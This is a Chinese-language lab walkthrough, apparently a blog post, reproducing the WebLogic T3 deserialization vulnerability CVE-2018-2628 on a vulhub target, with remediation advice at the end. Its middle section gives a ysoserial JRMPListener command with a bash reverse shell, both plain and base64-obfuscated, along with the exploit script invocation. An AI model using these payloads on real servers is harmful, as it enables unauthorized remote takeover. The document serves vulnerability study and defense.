关于中间件Weblogic WLS Core Components 的反序列化命令执行漏洞(CVE-2018-2628)
一、漏洞介绍
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。
二、环境搭建
- 攻击机:192.168.70.2(kali)
- 靶机:192.168.70.3(vulhub)
1、利用命令:docker-compose up -d 启动环境
2、等待环境启动(可能会稍微等会儿),访问http://your-ip:7001/console,初始化整个环境。
三、漏洞复现
1、在攻击机使用ysoserial启动一个JMRP Server。
本来命令是这样的:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 16666 CommonsCollections1 “bash -i >& /dev/tcp/192.168.70.2/21 0>&1”
但我们在使用bash反弹shell的时候,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码(点我在线编码)
所以转化后的命令是:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 16666 CommonsCollections1 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcwLjIvMjEgMD4mMQ}|{base64,-d}|{bash,-i}”
JMRP Server在16666端口上监听请求,向目标服务器发送序列化的bash反弹shell命令,反弹监听的端口为21。
ysoserial命令格式:
ysoserial.jar [payload] “[command]”。
payload: ysoserial.exploit.JRMPListener (port) (payload_type)。
port:JRMP Server监听的端口,监听的是没有要求的 1-65535之间都可以只要端口不重复皆可。
payload_type:根据目标jdk版本选择CommonsCollections利用库。
2、在攻击机启用nc监听21端口。
注意:这里新开一个窗口。
3、使用EXP向目标WebLogic服务器发送攻击载荷(payload)
在攻击机新建一个文档,后缀名为.py ,内容为EXP链接内容。
参数 | 注释 |
---|---|
victim ip | 受害者IP |
victim port | 受害者端口,7001 |
path to ysoserial | 本地ysoserial路径 |
JRMPListener ip | 启用ysoserial的IP |
JRMPClient | 执行JRMPClient的类(JRMPClient / JRMPClient2) |
命令:python exp.py 192.168.70.37001ysoserial.jar192.168.70.216666JRMPClient
4、成功拿到靶机shell
四、修复建议
1、整个操作过程中的核心攻击过程是:
EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上。
2、修复建议
- 关闭T3服务,或控制T3服务的访问权限(临时)。
- 打官方补丁。
你只管往前走,
其它的交给时间。
一分一秒,
一滴泪的时间。